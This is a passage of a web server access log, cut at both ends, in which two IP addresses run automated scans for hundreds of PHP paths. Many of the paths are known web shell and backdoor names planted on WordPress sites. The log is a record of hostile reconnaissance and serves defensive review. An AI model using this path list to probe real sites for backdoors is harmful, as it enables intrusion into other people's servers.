795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:11 -0400] "GET /wp-includes/Requests/Cookie/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:13 -0400] "GET /wp-includes/css/category-template-1735882605.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:13 -0400] "GET /browse.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:14 -0400] "GET /t.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:14 -0400] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:15 -0400] "GET /wp-includes/Text/Diff/Renderer/ltiies.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:15 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:15 -0400] "GET /assets/index1.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:16 -0400] "GET /wp-content/plugins/elementor/includes/ovamstwqf.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:16 -0400] "GET /wp/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:17 -0400] "GET /wp-includes/js/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:18 -0400] "GET /assets/content.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:18 -0400] "GET /baxa1.php8 HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:19 -0400] "GET /wp-admin/includes/media.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:20 -0400] "GET /wp-admin/includes/nav.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:20 -0400] "GET /wp-admin/maint/baxa1.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:21 -0400] "GET /xc.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:22 -0400] "GET /wp-includes/assets/about.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:23 -0400] "GET /ge.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:25 -0400] "GET /sim.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:26 -0400] "GET /wp-admin/user/plugins.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:27 -0400] "GET /wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:28 -0400] "GET /cache/d/b/f/e/ovaioxoql.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:29 -0400] "GET /wp-content/plugins/seoxx/randkeyword.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:30 -0400] "GET /wp-includes/ID3/file.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:30 -0400] "GET /.well-known/item.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:31 -0400] "GET /wp-includes/mah.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:31 -0400] "GET /copypaths.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:32 -0400] "GET /uzihbfah.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:33 -0400] "GET /wp-admin/css/colors/midnight/about.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:33 -0400] "GET /wp-includes/theme-compat/plugins.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:34 -0400] "GET /wp-includes/wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:34 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:35 -0400] "GET /wp-includes/assets/archives-1736057179.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:35 -0400] "GET /wp-includes/php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:36 -0400] "GET /.well-known/acme-challenge/options.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:36 -0400] "GET /.well-known/fm.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:37 -0400] "GET /wordpress/wp-content/plugins/yqeH2A5oLXfIFNVSl856Wm/src/ui/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:37 -0400] "GET /wp-content/plugins/pwnd/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:37 -0400] "GET /.well-known/okercskj.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:38 -0400] "GET /ans.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:39 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:40 -0400] "GET /admin/uploads/Property_5bb750a72c247.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:41 -0400] "GET /wp-admin/network/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:41 -0400] "GET /wp-includes/pomo/ftp_nb_fget.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:42 -0400] "GET /bk/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:43 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:44 -0400] "GET /unsveanq.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:45 -0400] "GET /wp-class.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:46 -0400] "GET /.well-known/acme-challenge/inputs.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:47 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:48 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:48 -0400] "GET /wp-content/uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:49 -0400] "GET /wp-includes/Text/Diff/Renderer/about.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:49 -0400] "GET /wp-includes/theme-compat/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:50 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:51 -0400] "GET /wp-includes/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:51 -0400] "GET /wp-admin/css/colors/coffee/lofter.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:52 -0400] "GET /click.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:53 -0400] "GET /0.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:54 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:54 -0400] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:55 -0400] "GET /wp-admin/includes/12wvdscz.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:57 -0400] "GET /wp-content/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:57 -0400] "GET /wp-content/uploads/wpr-addons/forms/cm.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:58 -0400] "GET /.well-known/acme-challenge/object.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:51:59 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:00 -0400] "GET /uctshcum.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:00 -0400] "GET /wp-admin/js/widgets/install.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:00 -0400] "GET /wp-files.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:01 -0400] "GET /cms.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:01 -0400] "GET /shell.php3 HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:01 -0400] "GET /wp-content/themes/pridmag/layout.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:02 -0400] "GET /wp-admin/css/colors/coffee/biASsM.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:02 -0400] "GET /wp-content/plugins/shell/noimg.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:03 -0400] "GET /.well-known/cd.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:03 -0400] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:04 -0400] "GET /css/cbimsyft.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:04 -0400] "GET /wp-content/plugins/kvyiipi/ovasoksxl.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:04 -0400] "GET /.well-known/acme-challenge/db-update.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:05 -0400] "GET /.well-known/acme-challenge/item.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:05 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:05 -0400] "GET /assets/css/source/attention_seekers/ovagvggbs.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:06 -0400] "GET /wp-content/themes/understrap/sass/theme/ovafzspyx.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:06 -0400] "GET /wp-includes/Requests/input.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:06 -0400] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:07 -0400] "GET /wp-admin/js/widgets/jTQPHG.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:07 -0400] "GET /wp-includes/images/search_template_1735125075.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:07 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:08 -0400] "GET /files/function.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:08 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:09 -0400] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:09 -0400] "GET /wp-admin/css/colors/coffee/HrEPYzCPRv.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:09 -0400] "GET /wp-content/plugins/elementor-pro/modules/popup/ovaqagfqe.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:10 -0400] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:10 -0400] "GET /.well-known/ggmdjzys.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:10 -0400] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:10 -0400] "GET /wp-includes/css/xc.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:11 -0400] "GET /.well-known/wp-load.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:11 -0400] "GET /contents.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:13 -0400] "GET /images/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:14 -0400] "GET /wp-includes/sodium_compat/src/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:14 -0400] "GET /.well-known/r.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:15 -0400] "GET /wp-content/1.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:16 -0400] "GET /wp-admin/js/item.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:17 -0400] "GET /wp-content/uploads/wpr-addons/forms/b1ack.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:17 -0400] "GET /wp-admin/class-db.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:18 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:18 -0400] "GET /admin/uploads/d.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:18 -0400] "GET /wp-admin/css/colors/blue/1.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:19 -0400] "GET /wp-includes/images/sxo.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:19 -0400] "GET /.well-known/acme-challenge/309851/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:19 -0400] "GET /wp-admin/includes/plugins.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:20 -0400] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:20 -0400] "GET /wp-includes/buy.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:21 -0400] "GET /wp-includes/fonts/class-wp-font-collection.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:21 -0400] "GET /wp-includes/images/smilies/migrate.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:21 -0400] "GET /ccx/admin.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:22 -0400] "GET /welcome/wp-content/plugins/erinyani/asasx.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:23 -0400] "GET /.well-known/lsouyppu.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:23 -0400] "GET /.well-known/xin1.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:24 -0400] "GET /.well-known/acme-challenge/class_api.php999 HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:25 -0400] "GET /aj.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:25 -0400] "GET /wp-content/uploads/wpr-addons/forms/elp.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:26 -0400] "GET /class-php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:26 -0400] "GET /ss.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:27 -0400] "GET /wp-admin/maint/wp-act.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:27 -0400] "GET /.well-known/custom.file.1.1735117699.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:28 -0400] "GET /wp-includes/css/zmFM.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:28 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/about.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:28 -0400] "GET /raf.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:29 -0400] "GET /smartoptimizer/cache/842900/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:29 -0400] "GET /wp-admin/includes/admin-header.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:29 -0400] "GET /wp-content/themes/calmly/issue.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:30 -0400] "GET /wp-admin/js/maila.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:30 -0400] "GET /wp-admin/js/wp-czfnv.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:31 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:31 -0400] "GET /wp-includes/theme-compat/chosen.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:31 -0400] "GET /.well-known/avdotiet.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:32 -0400] "GET /wp-includes/html-api/cloud.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:32 -0400] "GET /wp-includes/link.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:32 -0400] "GET /wp-admin/network/lock.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:33 -0400] "GET /wp-content/plugins/elementor/about.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:33 -0400] "GET /wp-includes/block-editor.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:34 -0400] "GET /components/com_wrapper/views/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:34 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:35 -0400] "GET /wp-content/plugins/helloapx/wp-apxupx.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:35 -0400] "GET /wp-content/themes/rttheme18/images/colors/ovakiiphb.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:36 -0400] "GET /wp-includes/beofdecn.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:36 -0400] "GET /assets/images/88123af40d.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:37 -0400] "GET /.well-known/ajfghdbd.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:38 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:38 -0400] "GET /wp-content/tmpls.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:40 -0400] "GET /wp-content/plugins/erinyani/baxa1.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:41 -0400] "GET /wp-content/themes/deeto/login.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:42 -0400] "GET /wp-admin/js/widgets/come.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:43 -0400] "GET /wp-content/plugins/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:44 -0400] "GET /wp-includes/ID3/plugins.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:45 -0400] "GET /wp-admin/css/colors/sxo.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:45 -0400] "GET /OVA-UNAME.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:46 -0400] "GET /adminer.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:46 -0400] "GET /vendor/php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:47 -0400] "GET /wp-includes/css/custom-file-5-1735118957.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:47 -0400] "GET /wp-content/themes/intense/block-css.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:48 -0400] "GET /wp-add.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:48 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:49 -0400] "GET /wp-admin/images/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.186.71.17 - - [28/Apr/2025:08:52:50 -0400] "GET /wp-includes/sodium_compat/src/about.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:05:42 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:05:45 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:05:47 -0400] "GET /erin1.PhP7 HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:05:48 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:05:50 -0400] "GET /wp-api.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:05:51 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:05:52 -0400] "GET /wp-includes/customize/class-wp-customize-sidebar-secure.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:05:53 -0400] "GET /wp-admin/includes/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:05:54 -0400] "GET //wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:05:55 -0400] "GET /home/newsr.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:05:56 -0400] "GET /wp-settings.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:05:57 -0400] "GET //radio.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:05:58 -0400] "GET /wp-admin/css/colors/blue/blkaabkj.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:05:59 -0400] "GET //simple.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:00 -0400] "GET /geju.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:02 -0400] "GET /ms-themes.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:03 -0400] "GET //webadmin.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:04 -0400] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:05 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:07 -0400] "GET /xl2023.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:07 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:08 -0400] "GET /ern.PhP7 HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:09 -0400] "GET /wp-includes/customize/chosen.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:11 -0400] "GET /wp-includes/rest-api/network.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:12 -0400] "GET /google.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:13 -0400] "GET //wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:13 -0400] "GET /wp-seo.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:14 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:15 -0400] "GET /wp-includes/plugins.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:16 -0400] "GET /wp-admin/css/colors/blue/blkhfvco.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:18 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:19 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:21 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:24 -0400] "GET /edit-tags.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:25 -0400] "GET /wp-admin/css/colors/blue/blue.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:26 -0400] "GET /assets/wp-blog.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:27 -0400] "GET //as.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:28 -0400] "GET /woh.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:29 -0400] "GET /wp-includes/bmccxior.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:30 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:31 -0400] "GET /assets/images/cmd.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:32 -0400] "GET /worm3.PhP7 HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:33 -0400] "GET /wp-admin/maint/src_api.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:34 -0400] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:35 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:35 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:37 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:37 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:38 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:39 -0400] "GET /alfa-rex2.php7 HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:40 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:40 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:41 -0400] "GET /LA.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:42 -0400] "GET /moderation.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:42 